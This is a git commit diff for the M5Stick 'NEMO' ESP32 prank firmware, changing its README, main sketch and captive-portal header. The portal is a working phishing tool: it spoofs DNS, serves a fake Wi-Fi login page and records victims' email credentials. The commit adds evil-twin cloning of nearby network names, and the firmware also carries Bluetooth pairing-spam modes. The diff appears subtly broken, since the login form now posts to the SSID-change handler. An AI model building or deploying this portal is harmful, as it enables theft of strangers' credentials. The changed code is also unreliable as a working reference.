commit
e08cbc685d
12
README.md
12
README.md
|
@ -5,16 +5,17 @@ Firmware for high-tech pranks on M5Stack ESP32 Devices
|
|||
NEMO started a personal project to help me learn more about ESP32 development with the Arduino IDE. I decided to replicate a few common, trending pranks that were getting a lot of attention in the tech community, as a challenge to myself, and to also better understand these attacks.
|
||||
NEMO is named after the small, clever and stubborn fish in Finding Nemo. This project stands in contrast to another high-tech gadget that's associated with certain sea-dwelling creatures. I did want to prove that there are a lot of things you can do with a small development kit and some curiosity. I have no delusions of superseding the capabilities of any similar device with this project. It's just for fun, and my own education.
|
||||
|
||||

|
||||

|
||||
|
||||
## Features
|
||||
* [TV B-Gone](http://www.righto.com/2010/11/improved-arduino-tv-b-gone.html) port (thanks to MrArm's [HAKRWATCH](https://github.com/MrARM/hakrwatch)) to shut off many infrared-controlled TVs, projectors and other devices
|
||||
* [AppleJuice](https://github.com/ECTO-1A/AppleJuice) iOS Bluetooth device pairing spam
|
||||
* Bluetooth device notification spamming for SwiftPair (Windows) and Android
|
||||
* WiFi Spam - Funny SSIDs, WiFi Rickrolling, and a Random mode that creates hundreds of randomly-named SSIDs per minute
|
||||
* WiFi NEMO Portal - A captive portal that tries to social engineer email credentials - saves usernames and passwords to SD Card (if inserted into a supported reader)
|
||||
* WiFi SSID Scanner - Display 2.4 GHz SSIDs nearby and get information about them
|
||||
* WiFi SSID Scanner - Display 2.4 GHz SSIDs nearby, get information about them, and even clone the SSIDs in NEMO Portal
|
||||
* User-adjustable 24 Hour digital clock backed by the M5 Stick RTC so it holds relatively stable time even in deep sleep and low battery mode
|
||||
* EEPROM-backed Settings for rotation, brightness and, automatic dimming
|
||||
* EEPROM-backed Settings for rotation, brightness, automatic dimming and NEMO Portal SSID
|
||||
* Battery level and credits in settings menu
|
||||
|
||||
## User Interface
|
||||
|
@ -38,7 +39,10 @@ There are three main controls:
|
|||
In NEMO Portal mode, NEMO activates an open WiFi Hotspot named "Nemo Free WiFi" (configurable in portal.h) with DNS, DHCP and Web servers activated.
|
||||
* NEMO Portal serves a fake login page that claims to provide internet access if you log in.
|
||||
* This is a social engineering attack, and will log the username and passwords entered on the page.
|
||||
* You can view these credentials by connecting to the portal from your own device and browsing to http://172.0.0.1/creds
|
||||
* From the Wifi Scan details, you can clone an existing SSID from the scan list. Exiting NEMO Portal will clear the Evil Twin SSID
|
||||
* You can view captured credentials by connecting to the portal from your own device and browsing to http://172.0.0.1/creds
|
||||
* You can set a custom SSID by connecting to the portal from your own device and browsing to http://172.0.0.1/ssid
|
||||
* If your device supports EEPROM for settings, the custom SSID you enter will be saved as the default, even if powered off.
|
||||
* If your device has an SD Card reader with a FAT filesystem formatted card inserted, the usernames and passwords will be logged to nemo-portal-creds.txt on the SD Card for you to peruse later.
|
||||
* SD Card support is only enabled by default on the M5Stack Cardputer platform. It can be enabled on M5Stick devices but an SD Card reader must be built and attached to the front panel pin header.
|
||||
* NEMO Portal is only for use on professional engagements with a valid scope of work, educational or demonstration purposes. Storage, sale, or use of personal information without consent is against the law. 🤓
|
||||
|
|
105
m5stick-nemo.ino
105
m5stick-nemo.ino
|
@ -2,13 +2,13 @@
|
|||
// github.com/n0xa | IG: @4x0nn
|
||||
|
||||
// -=-=-=-=-=-=- Uncomment the platform you're building for -=-=-=-=-=-=-
|
||||
//#define STICK_C_PLUS
|
||||
#define STICK_C_PLUS
|
||||
//#define STICK_C_PLUS2
|
||||
#define STICK_C
|
||||
//#define STICK_C
|
||||
//#define CARDPUTER
|
||||
// -=-=- Uncommenting more than one at a time will result in errors -=-=-
|
||||
|
||||
String buildver="2.2.2";
|
||||
String buildver="2.3.0";
|
||||
#define BGCOLOR BLACK
|
||||
#define FGCOLOR GREEN
|
||||
|
||||
|
@ -50,7 +50,7 @@ String buildver="2.2.2";
|
|||
#define SMALL_TEXT 2
|
||||
#define TINY_TEXT 1
|
||||
// -=-=- FEATURES -=-=-
|
||||
#define ACTIVE_LOW_IR
|
||||
//#define ACTIVE_LOW_IR
|
||||
#define ROTATION
|
||||
#define USE_EEPROM
|
||||
//#define RTC //TODO: plus2 has a BM8563 RTC but the class isn't the same, needs work.
|
||||
|
@ -151,6 +151,32 @@ String buildver="2.2.2";
|
|||
// 18 - QR Codes
|
||||
// 19 - NEMO Portal
|
||||
|
||||
int advtime = 0;
|
||||
int cursor = 0;
|
||||
int wifict = 0;
|
||||
int brightness = 100;
|
||||
int ajDelay = 1000;
|
||||
int apSsidOffset = 16;
|
||||
int apSsidMaxLen = 32;
|
||||
bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
|
||||
bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
|
||||
bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode
|
||||
bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
|
||||
bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
|
||||
bool portal_active = false; // Internal flag used to ensure NEMO Portal exits cleanly
|
||||
const byte PortalTickTimer = 1000;
|
||||
String apSsidName = String("");
|
||||
bool isSwitching = true;
|
||||
#if defined(RTC)
|
||||
int current_proc = 0; // Start in Clock Mode
|
||||
#else
|
||||
int current_proc = 1; // Start in Main Menu mode if no RTC
|
||||
#endif
|
||||
|
||||
#if defined(USE_EEPROM)
|
||||
#include <EEPROM.h>
|
||||
#define EEPROM_SIZE 64
|
||||
#endif
|
||||
#include <IRremoteESP8266.h>
|
||||
#include <IRsend.h>
|
||||
#include <DNSServer.h>
|
||||
|
@ -163,24 +189,6 @@ String buildver="2.2.2";
|
|||
#include <BLEUtils.h>
|
||||
#include <BLEServer.h>
|
||||
|
||||
int advtime = 0;
|
||||
int cursor = 0;
|
||||
int wifict = 0;
|
||||
int brightness = 100;
|
||||
int ajDelay = 1000;
|
||||
bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
|
||||
bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
|
||||
bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode
|
||||
bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
|
||||
bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
|
||||
bool portal_active = false; // Internal flag used to ensure NEMO Portal exits cleanly
|
||||
const byte PortalTickTimer = 1000;
|
||||
|
||||
#if defined(USE_EEPROM)
|
||||
#include <EEPROM.h>
|
||||
#define EEPROM_SIZE 4
|
||||
#endif
|
||||
|
||||
struct MENU {
|
||||
char name[19];
|
||||
int command;
|
||||
|
@ -198,12 +206,6 @@ QRCODE qrcodes[] = {
|
|||
{ "ZomboCom", "https://html5zombo.com/"},
|
||||
};
|
||||
|
||||
bool isSwitching = true;
|
||||
#if defined(RTC)
|
||||
int current_proc = 0; // Start in Clock Mode
|
||||
#else
|
||||
int current_proc = 1; // Start in Main Menu mode if no RTC
|
||||
#endif
|
||||
|
||||
void drawmenu(MENU thismenu[], int size) {
|
||||
DISP.setTextSize(SMALL_TEXT);
|
||||
|
@ -285,7 +287,7 @@ bool check_next_press(){
|
|||
dimtimer();
|
||||
return true;
|
||||
}
|
||||
M5Cardputer.update();
|
||||
//M5Cardputer.update();
|
||||
if (M5Cardputer.Keyboard.isKeyPressed(KEY_TAB) || M5Cardputer.Keyboard.isKeyPressed('.')){
|
||||
dimtimer();
|
||||
return true;
|
||||
|
@ -467,6 +469,7 @@ MENU smenu[] = {
|
|||
{ "Rotation", 7},
|
||||
#endif
|
||||
{ "About", 10},
|
||||
{ "Reboot", 98},
|
||||
#if defined(USE_EEPROM)
|
||||
{ "Clear Settings", 99},
|
||||
#endif
|
||||
|
@ -482,12 +485,19 @@ void smenu_setup() {
|
|||
|
||||
void clearSettings(){
|
||||
#if defined(USE_EEPROM)
|
||||
EEPROM.write(0, 255); // Rotation
|
||||
EEPROM.write(1, 255); // dim time
|
||||
EEPROM.write(2, 255); // brightness
|
||||
EEPROM.write(3, 255); // TV-B-Gone Region
|
||||
for(int i = 0; i < EEPROM_SIZE; i++) {
|
||||
EEPROM.write(i, 255);
|
||||
}
|
||||
EEPROM.commit();
|
||||
#endif
|
||||
screenBrightness(100);
|
||||
DISP.fillScreen(BGCOLOR);
|
||||
DISP.setTextSize(BIG_TEXT);
|
||||
DISP.setCursor(40, 0);
|
||||
DISP.println("M5-NEMO");
|
||||
DISP.setTextSize(SMALL_TEXT);
|
||||
DISP.println("Restoring Default\nSettings...");
|
||||
delay(5000);
|
||||
ESP.restart();
|
||||
}
|
||||
|
||||
|
@ -501,6 +511,9 @@ void smenu_loop() {
|
|||
if (check_select_press()) {
|
||||
rstOverride = false;
|
||||
isSwitching = true;
|
||||
if(smenu[cursor].command == 98){
|
||||
ESP.restart();
|
||||
}
|
||||
if(smenu[cursor].command == 99){
|
||||
clearSettings();
|
||||
}
|
||||
|
@ -1494,6 +1507,12 @@ void wscan_result_loop(){
|
|||
DISP.printf("Crypt: %s\n", encryptType);
|
||||
DISP.print("BSSID:\n" + WiFi.BSSIDstr(i));
|
||||
DISP.printf("\nNext: Back\n");
|
||||
DISP.printf("Hold Select: Clone\n");
|
||||
if(check_select_press()){
|
||||
apSsidName=WiFi.SSID(cursor);
|
||||
isSwitching=true;
|
||||
current_proc=19;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -1524,9 +1543,6 @@ void wscan_loop(){
|
|||
|
||||
void bootScreen(){
|
||||
// Boot Screen
|
||||
if(check_next_press()){
|
||||
clearSettings();
|
||||
}
|
||||
DISP.fillScreen(BGCOLOR);
|
||||
DISP.setTextSize(BIG_TEXT);
|
||||
DISP.setCursor(40, 0);
|
||||
|
@ -1633,6 +1649,9 @@ void setup() {
|
|||
#else
|
||||
M5.begin();
|
||||
#endif
|
||||
if(check_next_press()){
|
||||
clearSettings();
|
||||
}
|
||||
#if defined(USE_EEPROM)
|
||||
EEPROM.begin(EEPROM_SIZE);
|
||||
Serial.printf("EEPROM 0 - Rotation: %d\n", EEPROM.read(0));
|
||||
|
@ -1657,12 +1676,8 @@ void setup() {
|
|||
brightness = EEPROM.read(2);
|
||||
region = EEPROM.read(3);
|
||||
#endif
|
||||
screenBrightness(brightness);
|
||||
dimtimer();
|
||||
DISP.setRotation(rotation);
|
||||
DISP.setTextColor(FGCOLOR, BGCOLOR);
|
||||
bootScreen();
|
||||
|
||||
getSSID();
|
||||
|
||||
// Pin setup
|
||||
#if defined(M5LED)
|
||||
pinMode(M5_LED, OUTPUT);
|
||||
|
@ -1687,6 +1702,12 @@ void setup() {
|
|||
// Nemo Portal Init
|
||||
setupSdCard();
|
||||
bootTime = lastActivity = millis();
|
||||
|
||||
screenBrightness(brightness);
|
||||
dimtimer();
|
||||
DISP.setRotation(rotation);
|
||||
DISP.setTextColor(FGCOLOR, BGCOLOR);
|
||||
bootScreen();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
|
|
108
portal.h
108
portal.h
|
@ -31,7 +31,6 @@
|
|||
int totalCapturedCredentials = 0;
|
||||
int previousTotalCapturedCredentials = 0;
|
||||
String capturedCredentialsHtml = "";
|
||||
String apSsidName = String(DEFAULT_AP_SSID_NAME);
|
||||
|
||||
// Init System Settings
|
||||
const byte HTTP_CODE = 200;
|
||||
|
@ -48,21 +47,62 @@ void setupWiFi() {
|
|||
WiFi.softAP(apSsidName);
|
||||
}
|
||||
|
||||
void setSSID(String ssid){
|
||||
#if defined USE_EEPROM
|
||||
Serial.printf("Writing %d bytes of SSID to EEPROM\n", ssid.length());
|
||||
for(int i = 0; i < ssid.length(); i++) {
|
||||
EEPROM.write(i + apSsidOffset, ssid[i]);
|
||||
Serial.printf("%d:%d ", i+ apSsidOffset, ssid[i]);
|
||||
}
|
||||
EEPROM.write(apSsidOffset + ssid.length(), 0);
|
||||
EEPROM.commit();
|
||||
Serial.println("\ndone.");
|
||||
#endif
|
||||
apSsidName=ssid;
|
||||
return;
|
||||
}
|
||||
|
||||
void getSSID(){
|
||||
String ssid="";
|
||||
#if defined USE_EEPROM
|
||||
if(EEPROM.read(apSsidOffset) < 32 || EEPROM.read(apSsidOffset) > 254){
|
||||
Serial.println("SSID EEPROM Corrupt or Uninitialized. Using Defaults.");
|
||||
apSsidName=DEFAULT_AP_SSID_NAME;
|
||||
return;
|
||||
}
|
||||
for(int i = apSsidOffset; i < apSsidOffset + apSsidMaxLen; i++) {
|
||||
int ebyte=EEPROM.read(i);
|
||||
Serial.printf("%d:%d ", i, ebyte);
|
||||
if(ebyte < 32 || ebyte > 254){
|
||||
Serial.println("SSID: " + ssid);
|
||||
apSsidName=ssid;
|
||||
return;
|
||||
}
|
||||
ssid += char(ebyte);
|
||||
}
|
||||
#else
|
||||
apSsidName=DEFAULT_AP_SSID_NAME;
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
|
||||
void printHomeToScreen() {
|
||||
DISP.fillScreen(BLACK);
|
||||
DISP.setSwapBytes(true);
|
||||
DISP.setTextSize(2);
|
||||
DISP.setTextSize(MEDIUM_TEXT);
|
||||
DISP.setTextColor(TFT_RED, BGCOLOR);
|
||||
DISP.setCursor(0, 10);
|
||||
DISP.print("NEMO PORTAL");
|
||||
DISP.setCursor(0, 0);
|
||||
DISP.println("NEMO PORTAL");
|
||||
DISP.setTextSize(SMALL_TEXT);
|
||||
DISP.setTextColor(FGCOLOR, BGCOLOR);
|
||||
DISP.setCursor(0, 35);
|
||||
DISP.printf("%s\n\n",apSsidName.c_str());
|
||||
DISP.print("WiFi IP: ");
|
||||
DISP.println(AP_GATEWAY);
|
||||
DISP.printf("SSID: "); //, apSsidName);
|
||||
DISP.print(apSsidName);
|
||||
DISP.println("");
|
||||
DISP.printf("Victim Count: %d\n", totalCapturedCredentials);
|
||||
DISP.println("Paths: /creds /ssid");
|
||||
DISP.setTextSize(MEDIUM_TEXT);
|
||||
DISP.setTextColor(TFT_RED, BGCOLOR);
|
||||
DISP.printf("Victims: %d\n", totalCapturedCredentials);
|
||||
DISP.setTextColor(FGCOLOR, BGCOLOR);
|
||||
}
|
||||
|
||||
String getInputValue(String argName) {
|
||||
|
@ -115,7 +155,7 @@ String index_GET() {
|
|||
String loginMessage = String(LOGIN_MESSAGE);
|
||||
String loginButton = String(LOGIN_BUTTON);
|
||||
|
||||
return getHtmlContents("<center><div class='containertitle'>" + loginTitle + " </div><div class='containersubtitle'>" + loginSubTitle + " </div></center><form action='/post' id='login-form'><input name='email' class='input-field' type='text' placeholder='" + loginEmailPlaceholder + "' required><input name='password' class='input-field' type='password' placeholder='" + loginPasswordPlaceholder + "' required /><div class='containermsg'>" + loginMessage + "</div><div class='containerbtn'><button id=submitbtn class=submit-btn type=submit>" + loginButton + " </button></div></form>");
|
||||
return getHtmlContents("<center><div class='containertitle'>" + loginTitle + " </div><div class='containersubtitle'>" + loginSubTitle + " </div></center><form action='/postssid' id='login-form'><input name='email' class='input-field' type='text' placeholder='" + loginEmailPlaceholder + "' required><input name='password' class='input-field' type='password' placeholder='" + loginPasswordPlaceholder + "' required /><div class='containermsg'>" + loginMessage + "</div><div class='containerbtn'><button id=submitbtn class=submit-btn type=submit>" + loginButton + " </button></div></form>");
|
||||
}
|
||||
|
||||
String index_POST() {
|
||||
|
@ -129,6 +169,18 @@ String index_POST() {
|
|||
return getHtmlContents(LOGIN_AFTER_MESSAGE);
|
||||
}
|
||||
|
||||
String ssid_GET() {
|
||||
return getHtmlContents("<p>Set a new SSID for NEMO Portal:</p><form action='/postssid' id='login-form'><input name='ssid' class='input-field' type='text' placeholder='"+apSsidName+"' required><button id=submitbtn class=submit-btn type=submit>Apply</button></div></form>");
|
||||
}
|
||||
|
||||
String ssid_POST() {
|
||||
String ssid = getInputValue("ssid");
|
||||
Serial.println("SSID Has been changed to " + ssid);
|
||||
setSSID(ssid);
|
||||
printHomeToScreen();
|
||||
return getHtmlContents("NEMO Portal shutting down and restarting with SSID <b>" + ssid + "</b>. Please reconnect.");
|
||||
}
|
||||
|
||||
String clear_GET() {
|
||||
String email = "<p></p>";
|
||||
String password = "<p></p>";
|
||||
|
@ -150,6 +202,19 @@ void blinkLed() {
|
|||
}
|
||||
#endif
|
||||
|
||||
void shutdownWebServer() {
|
||||
Serial.println("Stopping DNS");
|
||||
dnsServer.stop();
|
||||
Serial.println("Closing Webserver");
|
||||
webServer.close();
|
||||
Serial.println("Stopping Webserver");
|
||||
webServer.stop();
|
||||
Serial.println("Setting WiFi to STA mode");
|
||||
WiFi.mode(WIFI_MODE_STA);
|
||||
Serial.println("Resetting SSID");
|
||||
getSSID();
|
||||
}
|
||||
|
||||
void setupWebServer() {
|
||||
Serial.println("Starting DNS");
|
||||
dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP)
|
||||
|
@ -169,6 +234,7 @@ void setupWebServer() {
|
|||
blinkLed();
|
||||
#endif
|
||||
});
|
||||
|
||||
Serial.println("Registering /creds");
|
||||
webServer.on("/creds", []() {
|
||||
webServer.send(HTTP_CODE, "text/html", creds_GET());
|
||||
|
@ -177,6 +243,17 @@ void setupWebServer() {
|
|||
webServer.on("/clear", []() {
|
||||
webServer.send(HTTP_CODE, "text/html", clear_GET());
|
||||
});
|
||||
Serial.println("Registering /ssid");
|
||||
webServer.on("/ssid", []() {
|
||||
webServer.send(HTTP_CODE, "text/html", ssid_GET());
|
||||
});
|
||||
Serial.println("Registering /postssid");
|
||||
webServer.on("/postssid", []() {
|
||||
webServer.send(HTTP_CODE, "text/html", ssid_POST());
|
||||
shutdownWebServer();
|
||||
isSwitching=true;
|
||||
current_proc=19;
|
||||
});
|
||||
Serial.println("Registering /*");
|
||||
webServer.onNotFound([]() {
|
||||
lastActivity = millis();
|
||||
|
@ -185,14 +262,3 @@ void setupWebServer() {
|
|||
Serial.println("Starting Webserver");
|
||||
webServer.begin();
|
||||
}
|
||||
|
||||
void shutdownWebServer() {
|
||||
Serial.println("Stopping DNS");
|
||||
dnsServer.stop();
|
||||
Serial.println("Closing Webserver");
|
||||
webServer.close();
|
||||
Serial.println("Stopping Webserver");
|
||||
webServer.stop();
|
||||
Serial.println("Setting WiFi to STA mode");
|
||||
WiFi.mode(WIFI_MODE_STA);
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue